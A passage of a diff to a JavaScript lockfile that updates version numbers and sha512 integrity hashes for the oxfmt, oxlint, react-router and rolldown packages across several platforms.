"linux", "cpu": "arm64" }, "sha512-jOgDzSqWcICGRjsp4mc08FxKMN8vzP2Kgs4E0d2HUP99F+nJDQKklRV4Zuj+0gcBgjrzx2CbpqaIdUVPepCojA=="], - "@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.46.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-aAUPBWJ1lGwwnxZUEDLJ94+Iy6MuwJwPxUgO4sCA5mEEyDk7b+cDQ+JpX1VR150Zoyd+D49gsrUzpUK5h587Eg=="], + "@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.51.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-KBUCdrH5bwVrAvI9gU/1S55oH6fzXjr++J/oVocdu7bYTks1l7DNNT+rLd/1TDdAEjObGwmfWamn7LC1m8A0DQ=="], - "@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.46.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-ufBCJukyFX/UDrokP/r6BGDoTInnsDs7bxyzKAgMiZlt2Qu8GPJSJ6Zm6whIiJzKk0naxA8ilwmbO1LMw6Htxw=="], + "@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.51.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-NapfjYsABFqTJ1Dn9Efq6sN5esaHconVKwVLbDGNQLrwpOx/g17mkwErHzU72PutL67nf3wNAkbq122H+zLxag=="], - "@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.46.0", "", { "os": "linux", "cpu": "none" }, "sha512-eqtlC2YmPqjun76R1gVfGLuKWx7NuEnLEAudZ7n6ipSKbCZTqIKSs1b5Y8K/JHZsRpLkeSmAAjig5HOIg8fQzQ=="], + "@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.51.0", "", { "os": "linux", "cpu": "none" }, "sha512-5dlDt1dUZCVi6elIhiK1PWg9wpTzTcIuj0IZnSurvIoMrhOWqqTcc1dSTxcSkNaBZhfsNqRZdINI1zAgbKkJNQ=="], - "@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.46.0", "", { "os": "linux", "cpu": "none" }, "sha512-yccVOO2nMXkQLGgy0He3EQEwKD7NF0zEk+/OWmroznkqXyJdN6bfK0LtNnr6/14Bh3FjpYq7bP33l/VloCnxpA=="], + "@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.51.0", "", { "os": "linux", "cpu": "none" }, "sha512-pgdWUJn0S5nulyiVdlFV8DzCUnGXkU99W5PSkkmbaZW+LrZBPxpezun4G0DDHbQaVYuJeCuKsXsGKGo77CkUTQ=="], - "@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.46.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-aAf7fG23OQCey6VRPj9IeCraoYtpgtx0ZyJ1CXkPyT1wjzBE7c3xtuxHe/AdHaJfVVb/SXpSk8Gl1LzyQupSqw=="], + "@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.51.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-2XTFUe97CbDGAI8vjwDfZ1HdakO0XIADyJ24idEg64SC4/K4in/OisXVnrW4NMK7I6TgC7EqRhC0Ln/nKhAemA=="], - "@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.46.0", "", { "os": "linux", "cpu": "x64" }, "sha512-q0JPsTMyJNjYrBvYFDz4WbVsafNZaPCZv4RnFypRotLqpKROtBZcEaXQW4eb9YmvLU3NckVemLJnzkSZSdmOxw=="], + "@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.51.0", "", { "os": "linux", "cpu": "x64" }, "sha512-kQ1OuCqqt/yyf0ZN9VFxW1/JnlgJgii3Dr7pWf9vNBvrX1hv6g39/+mc5oGRHRGJFZtl3zsGDWR9c5N2B/gwBw=="], - "@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.46.0", "", { "os": "linux", "cpu": "x64" }, "sha512-7LsLY9Cw57GPkhSR+duI3mt9baRczK/DtHYSldQ4BEU92da9igBQNl4z7Vq5U9NNPsh1FmpKvv1q9WDtiUQR1A=="], + "@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.51.0", "", { "os": "linux", "cpu": "x64" }, "sha512-ARTYqxHF475o96Gbn41hvSWSSRygPlRDXZZgZ9I2scU1y0qiWpCQyZCoefaQa0mwv+wwtZ+luS4YOzsRzM/izg=="], - "@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.46.0", "", { "os": "none", "cpu": "arm64" }, "sha512-lHiBOz8Duaku7JtRNLlps3j++eOaICPZSd8FCVmTDM4DFOPT71Bjn7g6iar1z7StXlKRweUKxWUs4sA+zWGDXg=="], + "@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.51.0", "", { "os": "none", "cpu": "arm64" }, "sha512-QiC1XrCl6a6BmqMzduO8hdIRMf1m44hCkt2Q68KWkTvUB/E7fd2iomyNh6KnnRca5w6eBrRAAtLFqTh+xjsjJA=="], - "@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.46.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-/5ktYUliP89RhgC37DBH1x20U5zPSZMy3cMEcO0j3793rbHP9MWsknBwQB6eozRzWmYrh0IFM/p20EbPvDlYlg=="], + "@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.51.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-NC/hJb9dtU23Zf8L7IVK95xnFjiQ7AfcLO2l5pb69TDEr958qxrtnB2CveeeNSCBFNIkgaTCfd/vHNSoG78l9g=="], - "@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.46.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-3WTnoiuIr8XvV0DIY7SN+1uJSwKf4sPpcbHfobcRT9JutGcLaef/miyBB87jxd3aqH+mS0+G5lsgHuXLUwjjpQ=="], + "@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.51.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-2C45za4Rj36n8YIbhRL1PQbxmXJYf81WEcAgvj5I4ptRROG+A+81hREEN5bmCHADE1UfYaN312U6tkILoZZy6w=="], - "@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.46.0", "", { "os": "win32", "cpu": "x64" }, "sha512-IXxiQpkYnOwNfP23vzwSfhdpxJzyiPTY7eTn6dn3DsriKddESzM8i6kfq9R7CD/PUJwCvQT22NgtygBeug3KoA=="], + "@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.51.0", "", { "os": "win32", "cpu": "x64" }, "sha512-73RqdAuVKQTkjZIDw08JaDHUM4lav5Qu+CaPwg4QbbA7k8o7LEW0p3UsfZ/F8dsO/pwVYh3RzFcanwLRTTahbQ=="], - "@oxlint/binding-android-arm-eabi": ["@oxlint/binding-android-arm-eabi@1.61.0", "", { "os": "android", "cpu": "arm" }, "sha512-6eZBPgiigK5txqoVgRqxbaxiom4lM8AP8CyKPPvpzKnQ3iFRFOIDc+0AapF+qsUSwjOzr5SGk4SxQDpQhkSJMQ=="], + "@oxlint/binding-android-arm-eabi": ["@oxlint/binding-android-arm-eabi@1.66.0", "", { "os": "android", "cpu": "arm" }, "sha512-f7kq8N51T4phpzqfBpA2qaVTI/KrkCmNwaj3t/97I/WLTDI+UhlP5GL9eER+zVxBhtlx5rKXWByJU1/zDAvyaw=="], - "@oxlint/binding-android-arm64": ["@oxlint/binding-android-arm64@1.61.0", "", { "os": "android", "cpu": "arm64" }, "sha512-CkwLR69MUnyv5wjzebvbbtTSUwqLxM35CXE79bHqDIK+NtKmPEUpStTcLQRZMCo4MP0qRT6TXIQVpK0ZVScnMA=="], + "@oxlint/binding-android-arm64": ["@oxlint/binding-android-arm64@1.66.0", "", { "os": "android", "cpu": "arm64" }, "sha512-xu6QO71tdDS9mjmLZ3AqhtaVHBvdmsOKkYnReNNDgh+XiwnsipeQOIxbiYOOO0iAXycJ+GK0wdMSZP/2j/AmSg=="], - "@oxlint/binding-darwin-arm64": ["@oxlint/binding-darwin-arm64@1.61.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-8JbefTkbmvqkqWjmQrHke+MdpgT2UghhD/ktM4FOQSpGeCgbMToJEKdl9zwhr/YWTl92i4QI1KiTwVExpcUN8A=="], + "@oxlint/binding-darwin-arm64": ["@oxlint/binding-darwin-arm64@1.66.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-HZ24VimSOC7mxuEA99e0H2FS0C1yO3+iW13jPRAk+e2njsUs3QeAXsafCDyaIrV/MirdOVez+etQNQsJE43zNQ=="], - "@oxlint/binding-darwin-x64": ["@oxlint/binding-darwin-x64@1.61.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-uWpoxDT47hTnDLcdEh5jVbso8rlTTu5o0zuqa9J8E0JAKmIWn7kGFEIB03Pycn2hd2vKxybPGLhjURy/9We5FQ=="], + "@oxlint/binding-darwin-x64": ["@oxlint/binding-darwin-x64@1.66.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-awhj8ZvJrrRSnXj7V++rpZvTmnl99L6mi0B7gg7Cp7BN6cKpzuI481bHNLvXGA9GB1/oEgA3ponuyoAc6Md12A=="], - "@oxlint/binding-freebsd-x64": ["@oxlint/binding-freebsd-x64@1.61.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-K/o4hEyW7flfMel0iBVznmMBt7VIMHGdjADocHKpK1DUF9erpWnJ+BSSWd2W0c8K3mPtpph+CuHzRU6CI3l9jQ=="], + "@oxlint/binding-freebsd-x64": ["@oxlint/binding-freebsd-x64@1.66.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-KQF0oVV21/FjIqkRuL8Q1vh8ECsE5+ocdH5tcqTQ4ZnYuDVoYibQUNfqBjQaUsP6UIIda5Y75Wpm5p4RgQWiWw=="], - "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/binding-linux-arm-gnueabihf@1.61.0", "", { "os": "linux", "cpu": "arm" }, "sha512-P6040ZkcyweJ0Po9yEFqJCdvZnf3VNCGs1SIHgXDf8AAQNC6ID/heXQs9iSgo2FH7gKaKq32VWc59XZwL34C5Q=="], + "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/binding-linux-arm-gnueabihf@1.66.0", "", { "os": "linux", "cpu": "arm" }, "sha512-9u1rgwZSEXWb30vbFZzQ78HVXBo0WCKNwJ3a2InRUTNMRng+PUDIoSFmA+m4HdUfBaIqftShq8J8qHc+eE/Vig=="], - "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/binding-linux-arm-musleabihf@1.61.0", "", { "os": "linux", "cpu": "arm" }, "sha512-bwxrGCzTZkuB+THv2TQ1aTkVEfv5oz8sl+0XZZCpoYzErJD8OhPQOTA0ENPd1zJz8QsVdSzSrS2umKtPq4/JXg=="], + "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/binding-linux-arm-musleabihf@1.66.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Ynot2HR1bHxUaNWoC280MVTDfZuaWuP3XfSMRDhyuZrVjhzoaBCVFlw8h8qeZjWKVUBhPWFIxB7AQTlK8Z2WWg=="], - "@oxlint/binding-linux-arm64-gnu": ["@oxlint/binding-linux-arm64-gnu@1.61.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-vkhb9/wKguMkLlrm3FoJW/Xmdv31GgYAE+x8lxxQ+7HeOxXUySI0q36a3NTVIuQUdLzxCI1zzMGsk1o37FOe3w=="], + "@oxlint/binding-linux-arm64-gnu": ["@oxlint/binding-linux-arm64-gnu@1.66.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-xCbgzciGgo+A4aQZEknsNrNiIwY7sU5SfRuMmRjPIvZAgdF34cIHiKvwOsS5XRLjlTVSFwitmq6YclTtHTfU+g=="], - "@oxlint/binding-linux-arm64-musl": ["@oxlint/binding-linux-arm64-musl@1.61.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-bl1dQh8LnVqsj6oOQAcxwbuOmNJkwc4p6o//HTBZhNTzJy21TLDwAviMqUFNUxDHkPGpmdKTSN4tWTjLryP8xg=="], + "@oxlint/binding-linux-arm64-musl": ["@oxlint/binding-linux-arm64-musl@1.66.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-hmo+ZB/lHkR1HdDmnziNpzSLmulnUSu10VEqX2Yex7OwvoBAbjJQLvy4gIBRV3AAwWnCvAxKp5Nv1GE6LU1QMg=="], - "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/binding-linux-ppc64-gnu@1.61.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-QoOX6KB2IiEpyOj/HKqaxi+NQHPnOgNgnr22n9N4ANJCzXkUlj1UmeAbFb4PpqdlHIzvGDM5xZ0OKtcLq9RhiQ=="], + "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/binding-linux-ppc64-gnu@1.66.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-2Invd4Uyy81mVooQC5FBtfxSNrvcX1OxbMlVQ6M2erRrNI2awFYF26YNW2yFxdVFZ4ffNOWKghtMjhnUPsXsVA=="], - "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/binding-linux-riscv64-gnu@1.61.0", "", { "os": "linux", "cpu": "none" }, "sha512-1TGcTerjY6p152wCof3oKElccq3xHljS/Mucp04gV/4ATpP6nO7YNnp7opEg6SHkv2a57/b4b8Ndm9znJ1/qAw=="], + "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/binding-linux-riscv64-gnu@1.66.0", "", { "os": "linux", "cpu": "none" }, "sha512-s0iXPDQVdgayE3RGa/N2DZF7tjgg0TwEtD1sGoDxqPDGrIXgo45H0yHknT0f9A0yteASsweYZtDyTuVlM4aSag=="], - "@oxlint/binding-linux-riscv64-musl": ["@oxlint/binding-linux-riscv64-musl@1.61.0", "", { "os": "linux", "cpu": "none" }, "sha512-65wXEmZIrX2ADwC8i/qFL4EWLSbeuBpAm3suuX1vu4IQkKd+wLT/HU/BOl84kp91u2SxPkPDyQgu4yrqp8vwVA=="], + "@oxlint/binding-linux-riscv64-musl": ["@oxlint/binding-linux-riscv64-musl@1.66.0", "", { "os": "linux", "cpu": "none" }, "sha512-OekL4XFiu7RPK0JIZi8VeHgtIXPREf42t8Cy/rKEsC+P3gcqDgNAAGiyuUOpdbG4wwbfue1q4CHcCO7spSve6w=="], - "@oxlint/binding-linux-s390x-gnu": ["@oxlint/binding-linux-s390x-gnu@1.61.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-TVvhgMvor7Qa6COeXxCJ7ENOM+lcAOGsQ0iUdPSCv2hxb9qSHLQ4XF1h50S6RE1gBOJ0WV3rNukg4JJJP1LWRA=="], + "@oxlint/binding-linux-s390x-gnu": ["@oxlint/binding-linux-s390x-gnu@1.66.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-Ga1D0kj1SFslm34ThA/BdkUlyAYEnTsXyRC4pF0C5agZSwtGdHYWMTQWemUfBGp4RCG4QWXgdO+HmmmKqOtlBg=="], - "@oxlint/binding-linux-x64-gnu": ["@oxlint/binding-linux-x64-gnu@1.61.0", "", { "os": "linux", "cpu": "x64" }, "sha512-SjpS5uYuFoDnDdZPwZE59ndF95AsY47R5MliuneTWR1pDm2CxGJaYXbKULI71t5TVfLQUWmrHEGRL9xvuq6dnA=="], + "@oxlint/binding-linux-x64-gnu": ["@oxlint/binding-linux-x64-gnu@1.66.0", "", { "os": "linux", "cpu": "x64" }, "sha512-p5jfP1wUZe/IC3qpQO84n9DRnf9g3lKRtLBlQq23ykyrDglHcVx7sWmVTlPuU6SBw8mNnPzyOn022G3XZHnlww=="], - "@oxlint/binding-linux-x64-musl": ["@oxlint/binding-linux-x64-musl@1.61.0", "", { "os": "linux", "cpu": "x64" }, "sha512-gGfAeGD4sNJGILZbc/yKcIimO9wQnPMoYp9swAaKeEtwsSQAbU+rsdQze5SBtIP6j0QDzeYd4XSSUCRCF+LIeQ=="], + "@oxlint/binding-linux-x64-musl": ["@oxlint/binding-linux-x64-musl@1.66.0", "", { "os": "linux", "cpu": "x64" }, "sha512-vUB/sYlYZorDL1ZD+o9mRv7zbsykrrFRtmgS6R8musZqLtrPRQn1gc1eGpuX+sfdccz42STl/AqldY6XRb2upQ=="], - "@oxlint/binding-openharmony-arm64": ["@oxlint/binding-openharmony-arm64@1.61.0", "", { "os": "none", "cpu": "arm64" }, "sha512-OlVT0LrG/ct33EVtWRyR+B/othwmDWeRxfi13wUdPeb3lAT5TgTcFDcfLfarZtzB4W1nWF/zICMgYdkggX2WmQ=="], + "@oxlint/binding-openharmony-arm64": ["@oxlint/binding-openharmony-arm64@1.66.0", "", { "os": "none", "cpu": "arm64" }, "sha512-yde+6p/F59xRkGR9H1HfngWRif1QRJjynZK349l+UI0H6w9hL3G8/AVaTHFyTtLVQ56qtNbX2/5Dc77n1ovnOg=="], - "@oxlint/binding-win32-arm64-msvc": ["@oxlint/binding-win32-arm64-msvc@1.61.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-vI//NZPJk6DToiovPtaiwD4iQ7kO1r5ReWQD0sOOyKRtP3E2f6jxin4uvwi3OvDzHA2EFfd7DcZl5dtkQh7g1w=="], + "@oxlint/binding-win32-arm64-msvc": ["@oxlint/binding-win32-arm64-msvc@1.66.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-O9GLucgoTdmOrbBX+EjzNe7o/Ze5TFOvXcib6bzUOtBOmj6cV+zw18NgB+cGKAkDw1Pdqs8vGkfHbbsLuDtXWg=="], - "@oxlint/binding-win32-ia32-msvc": ["@oxlint/binding-win32-ia32-msvc@1.61.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-0ySj4/4zd2XjePs3XAQq7IigIstN4LPQZgCyigX5/ERMLjdWAJfnxcTsrtxZxuij8guJW8foXuHmhGxW0H4dDA=="], + "@oxlint/binding-win32-ia32-msvc": ["@oxlint/binding-win32-ia32-msvc@1.66.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-m3Pjwc2MfTcom4E4gOv7DyuGyt7OfGNCbmqDHd+N7EzXmP+ppHuudm2NjcA3AjV5TSeGxaguVF4SbTKHe1USYA=="], - "@oxlint/binding-win32-x64-msvc": ["@oxlint/binding-win32-x64-msvc@1.61.0", "", { "os": "win32", "cpu": "x64" }, "sha512-0xgSiyeqDLDZxXoe9CVJrOx3TUVsfyoOY7cNi03JbItNcC9WCZqrSNdrAbHONxhSPaVh/lzfnDcON1RqSUMhHw=="], + "@oxlint/binding-win32-x64-msvc": ["@oxlint/binding-win32-x64-msvc@1.66.0", "", { "os": "win32", "cpu": "x64" }, "sha512-/DbBvw8UFBhja6PqudUjV4UtfsJr0Oa7jUjWVKB0g86lj/VwnPrkngn0sFql3c9RDA0O16dh7ozsXb6GjNAzBQ=="], "@radix-ui/number": ["@radix-ui/number@1.1.1", "", {}, "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g=="], @@ -361,43 +362,43 @@ "@radix-ui/rect": ["@radix-ui/rect@1.1.1", "", {}, "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw=="], - "@react-router/dev": ["@react-router/dev@7.14.2", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.14.2", "@remix-run/node-fetch-server": "^0.13.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.14.2", "@vitejs/plugin-rsc": "~0.5.21", "react-router": "^7.14.2", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0 || ^6.0.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-lU88Ls4iC78RdPOKkER54+hlsHzzS8WSZrf2/cGQumbIN2A5WvO0LDyv72cdJmLWujgZ9rpNoGzmqWINssShGQ=="], + "@react-router/dev": ["@react-router/dev@7.15.1", "", { "dependencies": { "@babel/core": "^7.27.7", "@babel/generator": "^7.27.5", "@babel/parser": "^7.27.7", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/preset-typescript": "^7.27.1", "@babel/traverse": "^7.27.7", "@babel/types": "^7.27.7", "@react-router/node": "7.15.1", "@remix-run/node-fetch-server": "^0.13.0", "arg": "^5.0.1", "babel-dead-code-elimination": "^1.0.6", "chokidar": "^4.0.0", "dedent": "^1.5.3", "es-module-lexer": "^1.3.1", "exit-hook": "2.2.1", "isbot": "^5.1.11", "jsesc": "3.0.2", "lodash": "^4.17.21", "p-map": "^7.0.3", "pathe": "^1.1.2", "picocolors": "^1.1.1", "pkg-types": "^2.3.0", "prettier": "^3.6.2", "react-refresh": "^0.14.0", "semver": "^7.3.7", "tinyglobby": "^0.2.14", "valibot": "^1.2.0", "vite-node": "^3.2.2" }, "peerDependencies": { "@react-router/serve": "^7.15.1", "@vitejs/plugin-rsc": "~0.5.21", "react-router": "^7.15.1", "react-server-dom-webpack": "^19.2.3", "typescript": "^5.1.0 || ^6.0.0", "vite": "^5.1.0 || ^6.0.0 || ^7.0.0 || ^8.0.0", "wrangler": "^3.28.2 || ^4.0.0" }, "optionalPeers": ["@react-router/serve", "@vitejs/plugin-rsc", "react-server-dom-webpack", "typescript", "wrangler"], "bin": { "react-router": "bin.js" } }, "sha512-BlFEU7SjPQHJDfYuw5qJU3+p4wMPEvKpf5Kj64/rRzQQjncXzhzkIJ0xreAQSYgGwJWjIXIK9swOaeE2czhulw=="], - "@react-router/node": ["@react-router/node@7.14.2", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.14.2", "typescript": "^5.1.0 || ^6.0.0" }, "optionalPeers": ["typescript"] }, "sha512-8zxVfgKOXjk0k8YxSBDTFyNAuVdr+og1wFbQpmJJOxo7ObxfI81EbHenyyxGvFiw77rNFLS9Dqgnv5xZgHZfCw=="], + "@react-router/node": ["@react-router/node@7.15.1", "", { "dependencies": { "@mjackson/node-fetch-server": "^0.2.0" }, "peerDependencies": { "react-router": "7.15.1", "typescript": "^5.1.0 || ^6.0.0" }, "optionalPeers": ["typescript"] }, "sha512-lv68RaqmIa/ZRlIrGcl79HimaqpU3yV1CFKnmItU+xqI+xn9g5fqsh2Vj2LdNjnlzJgVsRMEpnv00t/6RgDrgw=="], "@remix-run/node-fetch-server": ["@remix-run/node-fetch-server@0.13.0", "", {}, "sha512-1EsNo0ZpgXu/90AWoRZf/oE3RVTUS80tiTUpt+hv5pjtAkw7icN4WskDwz/KdAw5ARbJLMhZBrO1NqThmy/McA=="], - "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.0.0-rc.17", "", { "os": "android", "cpu": "arm64" }, "sha512-s70pVGhw4zqGeFnXWvAzJDlvxhlRollagdCCKRgOsgUOH3N1l0LIxf83AtGzmb5SiVM4Hjl5HyarMRfdfj3DaQ=="], + "@rolldown/binding-android-arm64": ["@rolldown/binding-android-arm64@1.0.2", "", { "os": "android", "cpu": "arm64" }, "sha512-ZS4D1JPGn/MYQN/SYDWftIE/nVsM8j/AFOYEzAoOE2O3NktQOZru+/vYXGbR/qtdLdIfGCP0lcoJiYVzsEz+iQ=="], - "@rolldown/binding-darwin-arm64": ["@rolldown/binding-darwin-arm64@1.0.0-rc.17", "", { "os": "darwin", "cpu": "arm64" }, "sha512-4ksWc9n0mhlZpZ9PMZgTGjeOPRu8MB1Z3Tz0Mo02eWfWCHMW1zN82Qz/pL/rC+yQa+8ZnutMF0JjJe7PjwasYw=="], + "@rolldown/binding-darwin-arm64": ["@rolldown/binding-darwin-arm64@1.0.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-vdFA9+C/rekyGce7WqHs/xoT0ioZEWaOFyZLIV1mEeNFaFDUQrPIo8Vs2GvJ6eetb3rzDUtUBgzto3ExpXJB3w=="], - "@rolldown/binding-darwin-x64": ["@rolldown/binding-darwin-x64@1.0.0-rc.17", "", { "os": "darwin", "cpu": "x64" }, "sha512-SUSDOI6WwUVNcWxd02QEBjLdY1VPHvlEkw6T/8nYG322iYWCTxRb1vzk4E+mWWYehTp7ERibq54LSJGjmouOsw=="], + "@rolldown/binding-darwin-x64": ["@rolldown/binding-darwin-x64@1.0.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-BewSOwTHazv77DTYiAZXSqqKZ4KP/KonFisDMVU7PImxoWfB2aepnPhd2E4SWz3zDzYgDNbs6jBmTdgNnF02GA=="], - "@rolldown/binding-freebsd-x64": ["@rolldown/binding-freebsd-x64@1.0.0-rc.17", "", { "os": "freebsd", "cpu": "x64" }, "sha512-hwnz3nw9dbJ05EDO/PvcjaaewqqDy7Y1rn1UO81l8iIK1GjenME75dl16ajbvSSMfv66WXSRCYKIqfgq2KCfxw=="], + "@rolldown/binding-freebsd-x64": ["@rolldown/binding-freebsd-x64@1.0.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-m41o7M0YWtUdqk61Tb+jnKb2rN++iRdIASlExkUoKfIAH30DOHCB8fVLzSUpbWHHU8esmEioY62PxzexE8MBuA=="], - "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/binding-linux-arm-gnueabihf@1.0.0-rc.17", "", { "os": "linux", "cpu": "arm" }, "sha512-IS+W7epTcwANmFSQFrS1SivEXHtl1JtuQA9wlxrZTcNi6mx+FDOYrakGevvvTwgj2JvWiK8B29/qD9BELZPyXQ=="], + "@rolldown/binding-linux-arm-gnueabihf": ["@rolldown/binding-linux-arm-gnueabihf@1.0.2", "", { "os": "linux", "cpu": "arm" }, "sha512-jcojB9H7W/jS29pMKWAK1N+fU99vXodHDTatS3b3y/XSOCiHo0kkA74pL3jJmkoQtYpOCxDvaKs1fo2Ij/1X5w=="], - "@rolldown/binding-linux-arm64-gnu": ["@rolldown/binding-linux-arm64-gnu@1.0.0-rc.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-e6usGaHKW5BMNZOymS1UcEYGowQMWcgZ71Z17Sl/h2+ZziNJ1a9n3Zvcz6LdRyIW5572wBCTH/Z+bKuZouGk9Q=="], + "@rolldown/binding-linux-arm64-gnu": ["@rolldown/binding-linux-arm64-gnu@1.0.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-1jn6qDU5iiOgFgygDzKUuKP0maTi0/f1+sBLgvij/76C77Nm3ts6ufz9Bjg5q5dduxiUIxtq86JIoBvo1xQ4Ig=="], - "@rolldown/binding-linux-arm64-musl": ["@rolldown/binding-linux-arm64-musl@1.0.0-rc.17", "", { "os": "linux", "cpu": "arm64" }, "sha512-b/CgbwAJpmrRLp02RPfhbudf5tZnN9nsPWK82znefso832etkem8H7FSZwxrOI9djcdTP7U6YfNhbRnh7djErg=="], + "@rolldown/binding-linux-arm64-musl": ["@rolldown/binding-linux-arm64-musl@1.0.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-QVLO/czFMdoMFSqlX3bcswcJNm/23r+qoa/jgtmFc/qEp6/jXmIkDjF/XIo8dPfGaiwy1xfQn8o77L79GeXFgw=="], - "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/binding-linux-ppc64-gnu@1.0.0-rc.17", "", { "os": "linux", "cpu": "ppc64" }, "sha512-4EII1iNGRUN5WwGbF/kOh/EIkoDN9HsupgLQoXfY+D1oyJm7/F4t5PYU5n8SWZgG0FEwakyM8pGgwcBYruGTlA=="], + "@rolldown/binding-linux-ppc64-gnu": ["@rolldown/binding-linux-ppc64-gnu@1.0.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-hgO5Abm0w5UL6FEa2iFnZqo2KlK7TQ5QhV5x09hujBf7t5KzHQ1VmfPuTpqRy/rNlSxua3eWH374xxiVrP+lcA=="], - "@rolldown/binding-linux-s390x-gnu": ["@rolldown/binding-linux-s390x-gnu@1.0.0-rc.17", "", { "os": "linux", "cpu": "s390x" }, "sha512-AH8oq3XqQo4IibpVXvPeLDI5pzkpYn0WiZAfT05kFzoJ6tQNzwRdDYQ45M8I/gslbodRZwW8uxLhbSBbkv96rA=="], + "@rolldown/binding-linux-s390x-gnu": ["@rolldown/binding-linux-s390x-gnu@1.0.2", "", { "os": "linux", "cpu": "s390x" }, 